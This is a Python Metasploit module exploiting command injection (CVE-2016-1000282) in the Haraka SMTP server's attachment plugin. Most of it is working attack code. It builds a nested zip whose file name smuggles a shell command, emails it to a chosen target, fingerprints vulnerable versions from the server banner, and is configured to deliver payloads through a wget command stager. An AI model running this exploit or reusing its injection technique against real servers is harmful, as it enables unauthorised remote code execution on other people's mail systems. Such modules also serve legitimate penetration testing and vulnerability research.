#!/usr/bin/env python3 # Vendor Homepage: https://haraka.github.io/ # Software Link: https://github.com/haraka/Haraka # Exploit github: http://github.com/outflankbv/Exploits/ # Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8 # Version: <= Haraka 2.8.8 (with attachment plugin enabled) # Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS # Tested versions: 2.8.8 and 2.7.2 # Thanks to: Dexlab.nl for asking me to look at Haraka. import smtplib import re from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import zipfile try: # Python 2 plain strings are bytes from StringIO import StringIO as BytesIO except ImportError: from io import BytesIO from metasploit import module from metasploit.version import StrictVersion metadata = { "name": "Haraka SMTP Command Injection", "description": """ The Haraka SMTP server comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection """, "authors": [ "xychix ", "smfreegard", "Adam Cammack ", ], "date": "2017-01-26", "references": [ {"type": "cve", "ref": "2016-1000282"}, {"type": "edb", "ref": "41162"}, {"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"}, ], "type": "remote_exploit_cmd_stager", "rank": "excellent", "wfsdelay": 5, "privileged": True, "targets": [ {"platform": "linux", "arch": "x64"}, {"platform": "linux", "arch": "x86"}, ], "payload": {"command_stager_flavor": "wget"}, "options": { "email_to": { "type": "string", "description": "Email to send to, must be accepted by the server", "required": True, "default": "admin@localhost", }, "email_from": { "type": "string", "description": "Address to send from", "required": True, "default": "foo@example.com", }, "rhost": { "type": "address", "description": "Target server", "required": True, "default": None, }, "rport": { "type": "port", "description": "Target server port", "required": True, "default": 25, }, "command": { "type": "string", "description": "Command to run on the target", "required": True, "default": "/bin/echo hello", }, }, "notes": {"AKA": ["Harakiri"]}, } def send_mail(to, mailserver, cmd, mfrom, port): msg = MIMEMultipart() html = "harakiri" msg["Subject"] = "harakiri" msg["From"] = mfrom msg["To"] = to msg.attach(MIMEText(html)) module.log( "Send harariki to %s, commandline: %s , mailserver %s is used for delivery" % (to, cmd, mailserver), "debug", ) part = MIMEApplication(create_zip(cmd), Name="harakiri.zip") part["Content-Disposition"] = 'attachment; filename="harakiri.zip"' msg.attach(part) module.log("Sending mail to target server...") module.log(msg.as_string(), "debug") s = smtplib.SMTP(mailserver, port) try: resp = s.sendmail(mfrom, to, msg.as_string()) except smtplib.SMTPDataError as err: if err[0] == 450: module.log("Triggered bug in target server (%s)" % err[1], "good") s.close() return True module.log("Bug not triggered in target server", "error") module.log( "it may not be vulnerable or have the attachment plugin activated", "error" ) s.close() return False class InMemoryZip(object): def __init__(self): self.in_memory_zip = BytesIO() def append(self, filename_in_zip, file_contents): zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) zf.writestr(filename_in_zip, file_contents) for zfile in zf.filelist: zfile.create_system = 0 return self def read(self): self.in_memory_zip.seek(0) return self.in_memory_zip.read() def create_zip(cmd="touch /tmp/harakiri"): z1 = InMemoryZip() z2 = InMemoryZip() z2.append( "harakiri.txt", "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.", ) z1.append('a";%s;echo "a.zip' % cmd, z2.read()) return z1.read() def check_banner(args): module.log( "{}:{} Starting banner check for Haraka < 2.8.9".format( args["rhost"], args["rport"] ), level="debug", ) c = smtplib.SMTP() try: (code, banner) = c.connect(args["rhost"], int(args["rport"])) except: return "unknown" c.quit() if code == 220 and "Haraka" in banner: versions = re.findall(r"(\d+\.\d+\.\d+)", banner) if versions: if StrictVersion(versions[0]) < StrictVersion("2.8.9"): return "appears" else: return "safe" else: return "detected" elif code == 220: return "detected" else: return "unknown" def exploit(args): send_mail( args["email_to"], args["rhost"], args["command"], args["email_from"], int(args["rport"]), ) if __name__ == "__main__": module.run(metadata, exploit, soft_check=check_banner)